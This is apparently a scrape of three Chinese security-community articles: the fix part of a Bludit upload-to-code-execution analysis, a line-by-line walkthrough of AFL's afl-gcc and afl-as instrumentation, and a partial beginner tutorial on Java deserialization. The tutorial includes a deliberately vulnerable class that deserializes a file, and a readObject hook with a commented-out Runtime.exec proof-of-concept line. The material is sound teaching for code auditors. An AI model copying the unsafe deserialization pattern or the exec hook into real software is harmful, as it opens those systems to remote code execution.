$message = $L->g('File type is not supported. Allowed types:').' '.implode(', ',$GLOBALS['ALLOWED_IMG_EXTENSION']);
Log::set($message, LOG_TYPE_ERROR);
ajaxResponse(1, $message);
}
1.4在调用transformImage函数之后，删除tmp文件夹中的用户上传的文件：
`Filesystem::rmfile(PATH_TMP.$filename);`
## 结束语
所有的用户输入都是不可信的，就算在前端对用户输入做了过滤，也可能被攻击者利用多种方式绕过，因此后端的筛查与过滤就极其重要。关于Bludit中的文件上传导致任意代码执行漏洞的分析就到这里。 | 社区文章 |
# AFL源码分析（I）——白盒模式下的afl-gcc分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 写在前面
### 本文所用目标文件
1. 使用`sudo apt-get install autoconf`安装工具包
2. 准备待测文件，本文使用`ctf-wiki`中的`ret2text.c`作为目标文件
3. 执行`autoscan ./`生成`configure.scan`文件如果在此步骤中收到了错误信息，形如：
Unescaped left brace in regex is deprecated, passed through in regex; marked by <-- HERE in m/\${ <-- HERE [^\}]*}/ at /usr/bin/autoscan line 361.
请执行`sudo vi
/usr/bin/autoscan`，编辑`/usr/bin/autoscan`文件，将第`361`行的`s/\${[^\}]*}//g;`变更为`s/\$\{[^\}]*\}//g;`
4. 接下来将`configure.scan`重命名为`configure.ac`，并修改相关内容
# -*- Autoconf -*- # Process this file with autoconf to produce a configure script.
AC_PREREQ([2.69])
AC_INIT([ret2text], [1.0], [[[email protected]](mailto:[email protected])])
AM_INIT_AUTOMAKE
AC_CONFIG_SRCDIR([ret2text.c])
AC_CONFIG_HEADERS([config.h])
# Checks for programs.
AC_PROG_CC
# Checks for libraries.
# Checks for header files.
AC_CHECK_HEADERS([stdlib.h])
# Checks for typedefs, structures, and compiler characteristics.
# Checks for library functions.
AC_OUTPUT(Makefile)
5. 执行`aclocal`，生成`aclocal.m4`
6. 执行`autoconf`，生成相关配置文件
7. 执行`autoheader`，生成`config.h.in`
8. 建立`Makefile.am`并修改其内容为：
AUTOMAKE_OPTIONS=foreign
bin_PROGRAMS=ret2text
ret2text_SOURCES=ret2text.c
9. 最后执行`automake --add-missing`，生成`configure`
## 0x01 关于AFL白盒模式
当应用源代码可用时，可以通过使用配套的代码注入工具进行代码插桩，该工具可以在任何第三方代码的标准构建过程中替代`gcc`或`clang`使用。经过此工具进行代码的代码插桩对待测程序性能的影响相当小。结合`afl-fuzz`实现的其他优化，大多数程序可以比传统模式更快的被模糊测试。一个通用的代码编译方式是：
CC=/path/to/afl/afl-gcc ./configure
make clean all
## 0x02 afl-gcc源码分析
`afl-gcc`的`main`函数的起始进行了一系列的检查，包括调用`isatty(2)`检查`stderr`是否为终端环境、调用`getenv`检查`AFL_QUIET`环境变量是否存在、检查参数个数是否合法等。检查结束后，执行的是以下核心代码：
find_as(argv[0]);
edit_params(argc, argv);
execvp(cc_params[0], (char**)cc_params);
### `find_as`函数
此函数尝试在`AFL_PATH`或从`argv[0]`中找到所需的“伪” GNU汇编器。 **如果此步骤失败，将产生致命错误导致`afl-gcc`流程中止。**
1. 检查`AFL_PATH`是否已经设置，若已设置，则将`as_path`设置为`$[AFL_PATH]/as`，随后检查`as_path`是否可以访问，若可访问， **返回上层函数** 。
2. 若未设置`AFL_PATH`，寻找传入的路径中最后一个`/`之后的字符串，若找到，则将传入的路径之后拼接`/afl-as`，赋值给`as_path`，随后检查`as_path`是否可以访问，若可访问， **返回上层函数** 。
3. 若未设置`AFL_PATH`且未找到目标字符串，使用默认路径`/usr/local/lib/afl/as`，赋值给`as_path`，随后检查`as_path`是否可以访问，若可访问， **返回上层函数** 。
4. **引发致命错误`Unable to find AFL wrapper binary for 'as'. Please set AFL_PATH`，中断`afl-gcc`**
### `edit_params`函数
此函数将参数传入`cc_params`，进行必要的编辑。`cc_params`的空间由`ck_alloc`分配，长度为`(argc + 128) *
sizeof(u8*)`
1. 通过检查`argv[0]`的最后一个`/`后是否为`afl-clang`来检查是否为`clang`编译器模式，若是，将`clang_mode`置位。
2. 修正主编译器路径，即将`afl-clang++`、`afl-clang`、`afl-g++`、`afl-gcj`、`afl-gcc`替换为正确的路径并将其作为`cc_params[0]`，若`AFL_CXX`、`AFL_CC`、`AFL_CXX`、`AFL_GCJ`、`AFL_CC`（注：`AFL_CXX`、`AFL_CC`同时生效于`clang++/g++`、`clang/gcc`，这两种编译器将在函数入口处进行区分）环境变量已被设置，则使用环境变量中的值。否则，直接替换为`clang++`、`clang`、`g++`、`gcj`、`gcc`关键字。
3. 随后此函数开始遍历已设置的所有选项，当检测到`-B`选项存在时，将显示一个警告以提示此选项将被`afl`编译器覆盖， **随后继续遍历下一个选项** ，此选项将被忽略。
* `-B`选项表示编译器系列文件(包括编译器本身这个可执行文件、库文件、依赖文件、数据文件)所在目录，当使用`-B`参数指定一个自定义目录时，编译器将首先在指定的目录查找编译器所需要的文件，包括但不限于`cpp`(预处理程序，它是一种宏处理器，编译器会自动使用该宏处理器在编译之前对程序中的宏定义进行转换), `cc1`(编译器，用于将源代码文件转换为汇编码文件), `as`(汇编器，用于将汇编码文件转换为字节码文件) 以及`ld`(链接器，将程序所需的各种字节码文件汇总，链接到一起，输出可执行文件)，若`-B`不存在，编译器将会在默认路径`/usr/lib/gcc/`或`/usr/local/lib/gcc/`查找，若依然不存在，将在`PATH`(即环境变量)中的路径寻找。
4. 当`-integrated-as`选项存在时， **继续遍历下一个选项** ，此选项将被忽略。
* `-integrated-as`选项表示`Clang`编译器将使用`LLVM`集成汇编器进行代码的编译工作。对于`Clang`编译器而言，既可以使用`LLVM`提供的集成汇编器进行汇编工作，也可以在`GNU`系统中使用`GNU`汇编器。
5. 当`-pipe`选项存在时， **继续遍历下一个选项** ，此选项将被忽略。
* `-pipe`选项表示在编译的各个阶段之间使用管道而不是临时文件进行通信。 注意，在某些无法从管道读取数据的汇编器的系统上，这种方法无法正常工作，但是`GNU`汇编器可以使用此方式进行通信。
6. 当`-fsanitize=address`或`-fsanitize=memory`选项存在时，将`asan_set`标志位进行置位。
* 这两个选项都是`Clang`编译器所使用的选项，`-fsanitize=address`代表启用`LLVM`的内存泄漏检测器，`-fsanitize=memory`代表启用`LLVM`的未初始化变量引用检测器。
7. 当`FORTIFY_SOURCE`选项存在时，将`fortify_set`标志位进行置位。
8. 将当前选项加入`cc_params`中， **继续遍历下一个选项** 。
9. 遍历结束后，向`cc_params`中添加参数`-B <as_path>`(`as_path`由`find_as`函数获取并设置)。
10. 如果`clang_mode`标志位置位，向`cc_params`中添加参数`-no-integrated-as`。
11. 如果`AFL_HARDEN`环境变量被设置，向`cc_params`中添加参数`-fstack-protector-all`。
* `-fstack-protector-all`选项表示启用对所有函数的栈保护机制(`Canary`)。
12. 如果`fortify_set`标志位未置位，向`cc_params`中添加参数`-D_FORTIFY_SOURCE=2`。
* `-D_FORTIFY_SOURCE`选项表示将开启缓冲区溢出保护，当此参数的级别为`2`时，代表启用了较强的保护。同时，此保护需要同时与`-O2`/`-O3`参数使用，否则将不会生效。
13. 如果`asan_set`标志位置位，设置环境变量`AFL_USE_ASAN=1`。
14. 如果`asan_set`标志位未置位，但是环境变量`AFL_USE_ASAN`已被设置，检查`AFL_USE_MSAN`或`AFL_HARDEN`环境变量是否被设置，如果两个环境变量之一被设置，则中断`afl-gcc`过程。若两个标志均未被设置，则向`cc_params`中添加参数`-U_FORTIFY_SOURCE`以及`-fsanitize=address`。
15. 如果`asan_set`标志位未置位，环境变量`AFL_USE_ASAN`未被设置，但是环境变量`AFL_USE_MSAN`已被设置，检查`AFL_USE_ASAN`或`AFL_HARDEN`环境变量是否被设置，如果两个环境变量之一被设置，则中断`afl-gcc`过程。若两个标志均未被设置，则向`cc_params`中添加参数`-U_FORTIFY_SOURCE`以及`-fsanitize=memory`。
* 这里不允许同时设置`AFL_USE_MSAN`、`AFL_USE_ASAN`、`AFL_HARDEN`的原因是因为若同时设置将导致运行速度过慢。
16. 若环境变量`AFL_DONT_OPTIMIZE`未被设置，向`cc_params`中添加参数`-g`、`-O3`、`-funroll-loops`、`-D__AFL_COMPILER=1`、`-DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1`。
* `-g`选项表示在编译过程中输出调试信息。
* `-O3`选项表示启动最高等级的编译优化。
* `-funroll-loops`选项表示进行循环的编译优化，即展开循环，以较小的恒定迭代次数完全除去循环。执行循环强度消除并消除在循环内部使用的变量。这是用简单而快速的操作(如加法和减法)替代耗时操作(如乘法和除法)的过程。
* `-DXXXX`选项表示在编译时定义宏，在此例中相当于`#define __AFL_COMPILER 1`、`#define FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION 1`
17. 若环境变量`AFL_NO_BUILTIN`被设置，向`cc_params`中添加参数`-fno-builtin-strcmp`、`-fno-builtin-strncmp`、`-fno-builtin-strcasecmp`、`-fno-builtin-strncasecmp`、`-fno-builtin-memcmp`、`-fno-builtin-strstr`、`-fno-builtin-strcasestr`。
* `-fno-builtin-*`选项表示不使用指定的内建函数。例如，`-fno-builtin-strcmp`表示不使用内建的`strcmp`函数，而是使用源代码中的`strcmp`函数。
### `execvp`函数
此函数用于执行`cc_params[0] cc_params[1] cc_params[1]......`命令。
## 0x03 afl-gcc实例分析
使用`CC=/home/error404/AFL/afl-gcc
./configure`生成的`Makefile`与使用`./configure`生成的`Makefile`对比，主要有以下区别：
此时我们可以修改`afl-gcc.c`用来打印出`cc_params`的内容
打印出内容后，可以看到`afl-gcc`按我们上文所预期的那样添加了部分参数。
gcc -DHAVE_CONFIG_H -I. -g -O2 -MT ret2text.o -MD -MP -MF .deps/ret2text.Tpo -c -o ret2text.o ret2text.c -B /home/error404/AFL -g -O3 -funroll-loops -D__AFL_COMPILER=1 -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1
此外，我们还发现在编译过程还调用了`afl-as`
这是因为`afl-gcc`使用了`-B`参数限定了编译器中汇编器的位置，并且通过我们的分析，`afl-gcc`并未进行代码的插桩，仅仅是针对`gcc`进行了参数的整理与优化，那么可以猜测`afl-as`是主要负担插桩工作的。
## 0x04 afl-as源码分析(第一部分)
与`afl-gcc`相同，`afl-as`也在程序入口点设计了一系列的代码检查操作。那么，其主逻辑如下所示：
gettimeofday(&tv, &tz);
rand_seed = tv.tv_sec ^ tv.tv_usec ^ getpid();
srandom(rand_seed);
edit_params(argc, argv);
if (inst_ratio_str) {
if (sscanf(inst_ratio_str, "%u", &inst_ratio) != 1 || inst_ratio > 100)
FATAL("Bad value of AFL_INST_RATIO (must be between 0 and 100)");
}
if (getenv(AS_LOOP_ENV_VAR))
FATAL("Endless loop when calling 'as' (remove '.' from your PATH)");
setenv(AS_LOOP_ENV_VAR, "1", 1);
/* When compiling with ASAN, we don't have a particularly elegant way to skip
ASAN-specific branches. But we can probabilistically compensate for
that... */
if (getenv("AFL_USE_ASAN") || getenv("AFL_USE_MSAN")) {
sanitizer = 1;
inst_ratio /= 3;
}
if (!just_version) add_instrumentation();
if (!(pid = fork())) {
execvp(as_params[0], (char**)as_params);
FATAL("Oops, failed to execute '%s' - check your PATH", as_params[0]);
}
if (pid < 0) PFATAL("fork() failed");
if (waitpid(pid, &status, 0) <= 0) PFATAL("waitpid() failed");
if (!getenv("AFL_KEEP_ASSEMBLY")) unlink(modified_file);
exit(WEXITSTATUS(status));
### 生成随机数并设置种子
在整个主逻辑伊始，`afl-as`将生成一个与当前时间、`PID`相关的随机数种子并将其设置。
gettimeofday(&tv, &tz);
rand_seed = tv.tv_sec ^ tv.tv_usec ^ getpid();
srandom(rand_seed);
随后进入`edit_params`函数逻辑
### `edit_params`函数
1. 将`TMPDIR`环境变量赋给`tmp_dir`，检查`tmp_dir`是否为`NULL`，若是，将`TEMP`环境变量赋给`tmp_dir`，检查`tmp_dir`是否为`NULL`，若是，将`TMP`环境变量赋给`tmp_dir`，检查`tmp_dir`是否为`NULL`，若是，将`tmp_dir`赋值为`/tmp`。
2. 创建参数列表`as_params`，并检查`AFL_AS`环境变量的值是否设置，若已设置，则将其内部的路径作为`as_params[0]`；否则，将`as`关键字作为`as_params[0]`（即使用`PATH`环境变量中所定义的`as`汇编器）。
3. 遍历传入的选项列表(从第二个参数开始，到倒数第二个参数为止)，检查当前参数，若参数为是`--64`，将`use_64bit`标志位置位；若参数为是`--32`，将`use_64bit`标志位清除。
* 这里避开第一个参数和最后一个参数是因为一般的调用格式为`afl-as <选项1> <选项2> <选项3> <选项4> <input-file>`。第一个参数一般是汇编器本身，已经在第二步处理；最后一个参数一般是输入文件，将在第五步处理；第三步第四步遍历处理的仅仅是选项。
4. 随后，将当前参数加入`as_params`， **遍历下一个参数** 。
5. 取最后一个参数，判断第一个字符是否为`-`。若是，继续判断后续字符是否为`-version`。若是，则将`just_version`标志位置位，随后将`--version`加入`as_params`，最后将`NULL`加入`as_params`， **函数结束** 。
6. 若最后一个参数的第一个字符为`-`但后续字符不为`-version`且不为空，那么 **引发致命错误`Incorrect use (not called through afl-gcc?)`，中断`afl-gcc`**。
7. 若最后一个参数的第一个字符为`-`但后续字符为空，那么将`<tmp_dir>/.afl-<PID>-<TIME>.s`(尖括号包围的内容用对应变量替换)加入`as_params`，最后将`NULL`加入`as_params`， **函数结束** 。
8. 若最后一个参数的第一个字符不为`-`且最后一个参数不为`tmp_dir`的值、`/tmp`、`/var/tmp`三者之一，将`pass_thru`标志位置位。
9. 将`<tmp_dir>/.afl-<PID>-<TIME>.s`(尖括号包围的内容用对应变量替换)加入`as_params`，最后将`NULL`加入`as_params`， **函数结束** 。
### 确认环境变量&相关设置
if (inst_ratio_str) {
if (sscanf(inst_ratio_str, "%u", &inst_ratio) != 1 || inst_ratio > 100)
FATAL("Bad value of AFL_INST_RATIO (must be between 0 and 100)");
}
if (getenv(AS_LOOP_ENV_VAR))
FATAL("Endless loop when calling 'as' (remove '.' from your PATH)");
setenv(AS_LOOP_ENV_VAR, "1", 1);
/* When compiling with ASAN, we don't have a particularly elegant way to skip
ASAN-specific branches. But we can probabilistically compensate for
that... */
if (getenv("AFL_USE_ASAN") || getenv("AFL_USE_MSAN")) {
sanitizer = 1;
inst_ratio /= 3;
}
1. 首先检查`AFL_INST_RATIO`环境变量的值是否为空，若非空，将其以无符号数的形式写入`inst_ratio`中，并验证其是否小于等于`100`，若写入过程出错或其大于`100`， **引发致命错误`Bad value of AFL_INST_RATIO (must be between 0 and 100)`，中断`afl-gcc`**。
2. 检查`__AFL_AS_LOOPCHECK`环境变量的值是否为空，若非空， **引发致命错误`Endless loop when calling 'as' (remove '.' from your PATH)`，中断`afl-gcc`**。
3. 设置`__AFL_AS_LOOPCHECK`环境变量的值为`1`。
4. 检查`AFL_USE_ASAN`或者`AFL_USE_MSAN`是否被设置，若二者之一被设置，则将`sanitizer`标志位置位，并将`inst_ratio`除三。
* `inst_ratio`代表插桩密度，密度越高插桩越多，对资源负担越大，当设置`AFL_USE_ASAN`或者`AFL_USE_MSAN`时，这个密度会被强制置为33左右。
接下来若`just_version`标志位未置位，进入`add_instrumentation`主逻辑
### `add_instrumentation`函数(核心插桩函数)
#### 检查文件权限
首先检查是否可以打开待插桩文件，以及确定可以将已插桩的文件写入目标位置
接下来进入插桩逻辑，打开待插桩文件 **循环** 读取一行(至多`8192`个字符)进`line`变量
#### 合法代码插桩——插入调用`__afl_maybe_log`的汇编码(Ⅰ)
若`pass_thru`、`skip_intel`、`skip_app`、`skip_csect`四个标志位均被清除，且`instr_ok`(这个标志位表征当前读入的行处于`.text`部分，将在后续设置，初始为清除状态)、`instrument_next`两个标志位均被设置，且
**当前行的第一个字符是`\t`且第二个字符是字母**，则向已插桩的文件写入`trampoline_fmt_64`/`trampoline_fmt_32`(取决于`use_64bit`标志位状态)
static const u8* trampoline_fmt_32 =
"\n"
"/* --- AFL TRAMPOLINE (32-BIT) --- */\n"
"\n"
".align 4\n"
"\n"
"leal -16(%%esp), %%esp\n"
"movl %%edi, 0(%%esp)\n"
"movl %%edx, 4(%%esp)\n"
"movl %%ecx, 8(%%esp)\n"
"movl %%eax, 12(%%esp)\n"
"movl $0x%08x, %%ecx\n"
"call __afl_maybe_log\n"
"movl 12(%%esp), %%eax\n"
"movl 8(%%esp), %%ecx\n"
"movl 4(%%esp), %%edx\n"
"movl 0(%%esp), %%edi\n"
"leal 16(%%esp), %%esp\n"
"\n"
"/* --- END --- */\n"
"\n";
static const u8* trampoline_fmt_64 =
"\n"
"/* --- AFL TRAMPOLINE (64-BIT) --- */\n"
"\n"
".align 4\n"
"\n"
"leaq -(128+24)(%%rsp), %%rsp\n"
"movq %%rdx, 0(%%rsp)\n"
"movq %%rcx, 8(%%rsp)\n"
"movq %%rax, 16(%%rsp)\n"
"movq $0x%08x, %%rcx\n"
"call __afl_maybe_log\n"
"movq 16(%%rsp), %%rax\n"
"movq 8(%%rsp), %%rcx\n"
"movq 0(%%rsp), %%rdx\n"
"leaq (128+24)(%%rsp), %%rsp\n"
"\n"
"/* --- END --- */\n"
"\n";
经过整理，最终插入的汇编码分别是：
/* --- AFL TRAMPOLINE (32-BIT) --- */
.align 4
leal -16(%esp), %esp
movl %edi, 0(%esp)
movl %edx, 4(%esp)
movl %ecx, 8(%esp)
movl %eax, 12(%esp)
movl $0x%08x, %ecx
call __afl_maybe_log
movl 12(%esp), %eax
movl 8(%esp), %ecx
movl 4(%esp), %edx
movl 0(%esp), %edi
leal 16(%esp), %esp
/* --- END --- */
/* --- AFL TRAMPOLINE (64-BIT) --- */
.align 4
leaq -(128+24)(%rsp), %rsp
movq %rdx, 0(%rsp)
movq %rcx, 8(%rsp)
movq %rax, 16(%rsp)
movq $0x%08x, %rcx
call __afl_maybe_log
movq 16(%rsp), %rax
movq 8(%rsp), %rcx
movq 0(%rsp), %rdx
leaq (128+24)(%rsp), %rsp
/* --- END --- */
⚠️：此处的`%08x`由`(random() % ((1 << 16)))`生成，在编译期确定。
插入结束后，将`instrument_next`标志位清除，桩代码计数器`ins_lines`加一。
最后将原始的汇编码（即`line`变量的内容），追加到插桩后文件中。
此时检查`pass_thru`标志位是否被置位，若已置位，则 **忽略以下流程，继续循环，读取下一行待插桩文件** 。
#### 寻找合法有效的待插桩段
这里是真正的插桩函数的核心了，但是在这里我们真正感兴趣的事实上只有`.text`段，因此，执行以下操作：
若当前行的第一个字符是`\t`，第二个字符是`.`(即段标识符)执行以下判断处理逻辑：
1. 若`clang_mode`标志位清除且`instr_ok`标志位置位且段标识符是`p2align`且段标识符后一位是数字且紧跟一个`\n`，则将`skip_next_label`标志位置位。
* `OpenBSD`将跳转表直接与代码内联，这很难被处理。 通常`.p2align`可以视为此种情况的标志，因此我们检测其用作信号。
2. 若段标识符是`text\n`、`section\t.text`、`section\t__TEXT,__text`、`section __TEXT,__text`之一，则将`instr_ok`标志位置位， **忽略以下流程，继续循环，读取下一行待插桩文件** 。
3. 若段标识符是`section\t`、`section`、`bss\n`、`data\n`之一，则将`instr_ok`标志位清除， **忽略以下流程，继续循环，读取下一行待插桩文件** 。
此时，有可能此行的的段标识符并不是以上所述的段。那么，就会有以下的几种特殊情况：
1. 若存在`CSECT`指令，则需要想办法跳过，此类指令表示插入一段额外的可执行汇编代码块。特殊的，可以使用`.code32`/`.code64`指令来引导与当前程序位数不同的指令。此时`afl-as`将不能处理此情况，因此不进行插桩。检测处理逻辑如下：
1. 若当前行包含`.code32`，将`use_64bit`标志位的状态赋给`skip_csect`标志位。
2. 若当前行包含`.code64`，将`use_64bit`标志位的状态 **取反** 赋给`skip_csect`标志位。
2. 若存在`Intel`汇编指令，则需要想办法跳过，此类指令与当前的`AT&T`语法不符。此时`afl-as`将不能处理此情况，因此不进行插桩。检测处理逻辑如下：
1. 若当前行包含`.intel_syntax`，将`skip_intel`标志位置位。
2. 若当前行包含`.att_syntax`，将`skip_intel`标志位清除。
3. `afl-as`将不能处理内嵌汇编(C语言中由`__asm__`引导，汇编语言中由`#APP`与`#NO_APP`包围)语句，因此不进行插桩。检测处理逻辑如下：
1. 若当前行的第一个字符或第二个字符是`#`，且当前行包含`#APP`，将`skip_app`标志位置位。
2. 若当前行的第一个字符或第二个字符是`#`，且当前行包含`#NO_APP`，将`skip_app`标志位清除。
若`skip_intel`、`skip_app`、`skip_csect`中的任何一个标志位置位或者`instr_ok`标志位被清除或者当前行第一个字母是`#`或`<空格>`（`#
BB#0`或`#
BB#0`在`Clang`中表示注释），表示当前行以及其下面的行不是一个有效的待插桩代码行，应当予以跳过，直到遇到结束标识使得对应标志位清除或置位。那么，`afl-as`将执行， **忽略以下流程，继续循环，读取下一行待插桩文件** 的操作。
#### 分支跳转代码插桩——插入调用`__afl_maybe_log`的汇编码
我们接下来检测条件跳转指令(例如：`jnz`、`jz`之类的语句)，`afl-as`为了标记此处将会有另一条分支并期望在后续的测试过程中覆盖另一条分支，将在跳转指令之后插入`trampoline_fmt_64`/`trampoline_fmt_32`(取决于`use_64bit`标志位状态)，关于这两段代码上文已分析过，此处不再赘述。
注意，`JMP`表示无条件跳转，因此其另一条分支将永远不会被运行到，那么将不会影响代码覆盖率，因此不在`JMP`指令后插桩。
那么，此处插桩逻辑为：若此行代码的第一个字符为`\t`，则再次检测第二个字符是不是`j`，若是，再检查第三个字符是不是`m`，若不是则进行插桩逻辑，插桩结束后将桩代码计数器`ins_lines`加一。无论第二个第三个字符为什么，只要第一个字符为`\t`，则
**忽略以下流程，继续循环，读取下一行待插桩文件**
#### 对标签段进行处理(`Label`)
若此行代码中有`:`字符但是第一个字符不是`.`字符，则将`instrument_next`置位(此标志位表示下一条语句是有效语句，将在`代码插桩——插入调用__afl_maybe_log的汇编码(Ⅰ)`过程中使用)，随后
**继续循环，读取下一行待插桩文件** 。
若此行代码中有`:`字符且第一个字符是`.`字符且满足下列情况之一：
* 第三个字符是数字且`inst_ratio`大于`random(100)`
* `clang_mode`置位且此行的前四个字符是`.LBB`且`inst_ratio`大于`random(100)`
则执行对`skip_next_label`的检查，若此标志位清除，则将`instrument_next`置位，随后 **继续循环，读取下一行待插桩文件**
。
若此行代码中有`:`字符且第一个字符是`.`字符但不满足上述情况之一， **继续循环，读取下一行待插桩文件** 。
至此，循环正式结束。
#### 末尾代码插桩——插入`AFL`主逻辑汇编码
最后，若桩代码计数器`ins_lines`不为0，那么将`main_payload_64`/`main_payload_32`(取决于`use_64bit`标志位状态)插入整个汇编文件末尾。
限于篇幅，此处的代码将在下一篇文章中予以说明。
## 0x05 后记
虽然网上有很多关于`AFL`源码的分析，但是绝大多数文章都是抽取了部分代码进行分析的，本文则逐行对源码进行了分析，下一篇文章将针对`afl-as`源码做下一步分析并给出相关实例。 | 社区文章 |
# JAVA代码审计系列之反序列化入门(二)
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## JAVA代码审计系列之反序列化入门(二)
## 0x0 系列目录
[Java代码审计之入门篇（一）](https://www.anquanke.com/post/id/197641)
## 0x1 前言
JAVA的反序列化应该是JAVA WEB里面非常重要的一环，笔者就从萌新角度出发，探讨下JAVA反序列化的实现机制和反序列化攻击思路。
* * *
PS.从0到1，由浅入深，跟着笔者，一起推开JAVA反序列的大门。
(阅读此文之前，特别建议读者一定要先掌握JAVA基本编程知识，毕竟跟PHP来说，编程风格还是不太一样的)
## 0x2 java反序列化概念
笔者阅读了不少文章，发现2018年的先知议题中师傅终结的相当精炼易懂(PS.2020年学习师傅们玩剩的东西，tcl)
> 简单说下:
>
>
> 序列化和反序列化是java引入的数据传输存储接口,通过这种机制能够实现数据结构和对象的存储和传输，举一个例子，比如一座高楼，序列化高楼的过程可以理解为将高楼按照一定的规律拆成一块块砖，并做好标志(比如这块砖必须出现在某某位置),然后排列好，反序列化的过程就是将这些排列好的砖头按照规则重建为高楼。
## 0x3 PHP 与 JAVA 的差异
其实我个人觉得没必要深究他们的序列化结构,当然有些tips是可以出现在CTF中的
这些结构采用的编码算法能决定他们的存储容量。
Python、PHP等语言，都有一套流行的序列化算法。
这里我们简单来了解下:
PHP的序列化字符串:
这里直接取我之前写的一篇文章的例子:
<?php
class A{
public $t1;
private $t2='t2';
protected $t3 = 't3';
}
// create a is_object
$obj = new A();
$obj->t1 = 't1';
var_dump($obj);
echo serialize($obj);
?>
可以看到这种是字符流形式的字符串,而Java的是二进制的数据流,导致不能够直观理解原结构，但是这种序列化的好处应该是比较高效，能够在网络中以比较少的数据包传输比较完整的结构。
直接用Eclipse新建一个JAVA Project
package securityTest;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class Test {
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
// 这里是字符串对象
String name = "xq17 study";
// 序列化过程,后缀的话一般取ser作为写入文件后缀
FileOutputStream fileOutputStream= new FileOutputStream("name.ser");
ObjectOutputStream oStream = new ObjectOutputStream(fileOutputStream);
// 写入序列化对象(序列化函数)
oStream.writeObject(name);
System.out.println("Serailized ok!");
}
}
这里我们需要掌握的一个基础知识就是:[序列化规范](https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html)
final static short STREAM_MAGIC = (short)0xaced;
final static short STREAM_VERSION = 5;
这里可以看到`aced`文件头是java序列化文件的一个特征,这个会有什么用的呢？
下面在漏洞挖掘的部分我们再进行细讨。
## 0x4 JAVA反序列化例子
了解了PHP的序列化过程，那么自然就该过渡到了反序列化这一步了。
在PHP学习中，我们知道魔法方法如`_destruct`函数会在反序列化过程中触发,
那么在JAVA中呢,比较常用的自动触发方法是:`readObject`
我们写一个例子来实验下:
`User`类
package securityTest;
import java.io.IOException;
import java.io.Serializable;
public class User implements Serializable {
/**
*
*/
private static final long serialVersionUID = 8593546012716519472L;
private String name;
private String age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
private void readObject(java.io.ObjectInputStream in) throws IOException {
// Runtime.getRuntime().exec("/System/Applications/Calculator.app");
System.out.println("i am readObject");
}
}
`serialVersionUID`这个值eclipse会提示你显性声明,可以自定义，也可以用默认生成的值，就是说如果你不声明那么照样也会有默认的值，
这个值是根据`JDK`版本及其你的类结构来生成的，所以你需要使用默认值，要么就不显示声明，要不就写完类再声明。
这个值如果不相同的话,会导致反序列化失败的，因为反序列化过程中会校验这个值,这里因为我们服务端和生成序列化的数据同一环境，所以这个值肯定相同，但是如果在远程环境上，我们就需要注意各种版本问题了，后面我会在踩坑过程与读者分析，这里我们还是抓主线来学习。
下面我们写一个存在反序列漏洞类`VulnTest`
package securityTest;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class VulnTest {
public static void main(String[] args) throws IOException, ClassNotFoundException {
// TODO Auto-generated method stub
User user = new User();
user.setName("xq17");
// 序列化写入文件
FileOutputStream fos = new FileOutputStream("user.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(user);
os.close();
// 序列化读取文件
FileInputStream fis = new FileInputStream("user.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
System.out.println("开始反序列化");
User userFromSer = (User) ois.readObject();
ois.close();
}
}
那么除了`readObject`方法之外还有什么方法吗？
为什么`readObject`一定需要设置为`private`?
这里其实我们可以在eclipse直接下一个断点，跟一下相应的源码。
(这里因为我们直接Debug搞的是class字节码文件，所以变量值的话并不会显示)
这里为了减轻阅读难度，笔者省略了一些中间过程，读者可以自行去调试。
先说下入口:
调用该方法的调用栈
我们可以看到这里调用了反射机制,这里我们可以学习一下反射机制的原理及其作用。
> java反射机制可以动态地创建对象并调用其熟悉。
>
> Java 反射主要提供以下功能：
>
> * 在运行时判断任意一个对象所属的类；
> * 在运行时构造任意一个类的对象；
> * 在运行时判断任意一个类所具有的成员变量和方法（通过反射甚至可以调用private方法）；
> * 在运行时调用任意一个对象的方法
>
一个正常的反射调用流程机制:
>
> public class test1 {
> public static void main(String[] args) throws IllegalAccessException,
> InstantiationException, NoSuchMethodException, InvocationTargetException {
> Class<?> klass = methodClass.class;
> //创建methodClass的实例
> Object obj = klass.newInstance();
> //获取methodClass类的add方法
> Method method = klass.getMethod("add",int.class,int.class);
> //调用method对应的方法 => add(1,4)
> Object result = method.invoke(obj,1,4);
> System.out.println(result);
> }
> }
> class methodClass {
> public final int fuck = 3;
> public int add(int a,int b) {
> return a+b;
> }
> public int sub(int a,int b) {
> return a+b;
> }
> }
>
>
> 所以说这里想调用动态生成类的方法，应该先获取对象，在获取方法，然后方法进行反射，传入参数，进行调用。
所以我们可以看下他通过反射机制获取的是什么对象？
其实不用调试也知道，肯定是我们序列化的对象`User`
这里可以看到`obj`的获取过程，获取描述然后得到实例。
通过debug我们不难看到,`readObjectMethod`其实就是我们的`User`类的重写的`readObject`方法，所以说这个调用在序列化过程中会自动通过反射机制来触发。
那么我们可以看看这个方法是怎么`getMethod`得来的
当我跟到这里的时候发现这里的判断主要是判断`readObjectMethod`这个类`ObjectStreamClass`的属性是否为空，然后发现这里已经找到我们的方法了，所以这个`getMethod`的过程应该在前面,我们可以重新debug一下。
.assets/image-20200408135619513.png)
最终我们可以看到这个值,是在构造函数的时候就已经被设置好了,并且对方法做出了要求
> * 返回类型为void(null)
> * 修饰符不能包含static
> * 修饰符必须包含private
>
这个class文件的路径是: 在`rt.jar->java.io->ObejectSteamClass`
至于还有没有其他自动触发的方法，我们可以再看看else分支
`readObjectNoData`
这个方法也是可以触发。
至于怎么触发建议可以参考下:
[Serialization中的readObjectNoData](https://blog.csdn.net/fjh658/article/details/6655403)
PS.
